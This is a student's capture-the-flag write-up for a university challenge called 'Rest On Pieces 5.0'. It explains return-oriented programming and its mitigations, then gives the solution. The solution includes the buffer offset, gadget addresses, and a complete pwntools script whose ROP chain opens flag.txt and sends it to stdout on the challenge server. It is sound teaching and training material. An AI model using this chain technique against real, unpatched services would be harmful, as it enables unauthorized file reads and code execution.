Rest On Pieces 5.0

Luigi Dell'Eva, 25/05/2024

Background

The challenge is accessible through a shell using the command `nc cyberchallenge.disi.unitn.it 50260` and when executed the program waits for an input and then terminates.

Binary exploitation is a specialized area within cybersecurity that focuses on identifying and **exploiting vulnerabilities in compiled applications**, such as Linux ELF files or Windows executables, to gain unauthorized access or modify the behavior of these programs. This process involves understanding and manipulating various aspects of the program's execution environment, including registers, the stack, calling conventions, buffers, and the heap. [1] To perform these analysis, we can use tools used in **reverse engineering** such as **Ghidra**, **GDB**, **ltrace**, **strace** and so on.

Binary exploitation presents different stack exploitation techniques, among them we can find **Return-oriented programming** (ROP) which is a technique that allows an attacker to execute code on a target system despite the presence of security defenses such as executable space protection (No eXecute) and code signing. It works by leveraging the call stack to **hijack program control flow** and execute **selected sequences of machine instructions**, known as **"gadgets"**. This gadgets are short instruction sequences which ends with a return instruction and are already present in the binary, typically in the code section or in shared libraries (i.e. libc). [2] [3]

To prevent from this kind of attacks, there are some mitigation that can be applied such as **Stack canaries** and **ASLR** which makes the exploitation of the vulnerability more difficult. Other than that, there are also some specific techniques which can be applied at **compiler** and **binary** level, for example telling the compiler to not use `ret` instruction or patching the binary to add instructions which clears the parameters registers before the `ret` instruction. Other techniquest can consist **detecting** the behaviour of the program by monitoring its execution. [4] [5] [6]

Vulnerability

To be able to exploit the **ROP vulnerability**, we need to be able to **overflow** the program stack to reach its **return address** (which is the case of this challenge). By reacing the return address, we can overwrite it with the addresses of the gadgets we want to use to execute our code. This vulnerabilty can provide **turing complete** capabilities to the attacker, which means that the attacker can execute any code he wants. [2]

Solution

By analyzing the ELF file with `pwn checksec` we can see that the program has **NX** enabled but do not have Stack canaries and PIE enabled. This means that we can reach the return address simply by overflowing the buffer and the addresses of the binary are fixed. To overflow the program we need an offset of 72 bytes, which can be found by using `gdb` and `pattern_create` and `pattern_offset`.

First, I checked into the binary with `Ghidra` and I found that in the program string there is a string `flag.txt` which is the file to read, at address `0x404020`. After this i looked into the available gadgets by using `ropper --file <filename>` and I found the following gadgets:

- `mov rax, 2; syscall;` which allows to perform a syscall to `open()` a file
- `mov rax, 0x28; syscall; nop; pop rbp; ret;` which allows to perform a syscall to the function `sendfile()`
- to use the above functions we need also the gadgets `pop r10; ret;`, `pop rdi; ret;`, `pop rdx; ret;` and `pop rsi; ret;`

Note that the gadget for the `sendfile` has a `pop rbp` instruction which is not useful for us, but we can simply ignore it by pushing into the stack a `0` value.

Through the use of the `open` syscall, we can open the file seen before and then read its content with the `sendfile` which allows to copy data between two file descriptors. The code to do this is the following:

```python
from pwn import *

p = remote("cyberchallenge.disi.unitn.it", 50260)

filename = b'flag.txt\x00'

pop_r10 = p64(0x000000000040119c) #pop r10; ret;
pop_rdi = p64(0x0000000000401196) #pop rdi; ret;
pop_rdx = p64(0x000000000040119a) #pop rdx; ret;
pop_rsi = p64(0x0000000000401198) #pop rsi; ret;

flag_txt = 0x400000 + 0x00004020 # "flag.txt" location

syscall_open = p64(0x000000000040119f) # mov rax, 2; syscall;
syscall_sendfile = p64(0x00000000004011a9) # mov rax, 0x28; syscall; nop; pop rbp; ret;

offset = 72
payload = b'A' * offset

# open file
payload += pop_rdi
payload += p64(flag_txt)
payload += pop_rsi
payload += p64(0)
payload += pop_rdx
payload += p64(0)
payload += syscall_open

# sendfile
payload += pop_rdi
payload += p64(1) # stdout
payload += pop_rsi
payload += p64(6) # file descriptor
payload += pop_rdx
payload += p64(0)
payload += pop_r10
payload += p64(100)
payload += syscall_sendfile
payload += p64(0)

p.sendline(payload)
p.sendline(filename)
print(p.recvall(timeout=1).decode(errors="ignore").split("\n")[0])
```

References

[1] Binary exploitation: https://medium.com/@0day_exploit/unveiling-the-power-of-binary-exploitation-mastering-stack-based-overflow-techniques-d263c8a07f67

[2] ROP: https://en.wikipedia.org/wiki/Return-oriented_programming

[3] ROP: https://ctf101.org/binary-exploitation/return-oriented-programming/

[4] Course slide

[5] ROP Mitigations: https://ar5iv.labs.arxiv.org/html/1008.4099

[6] ROP Mitigations: https://www.sciencedirect.com/science/article/abs/pii/S0167642322000016

[7] Sendfile man page: https://manpages.debian.org/unstable/manpages-dev/sendfile.2.en.html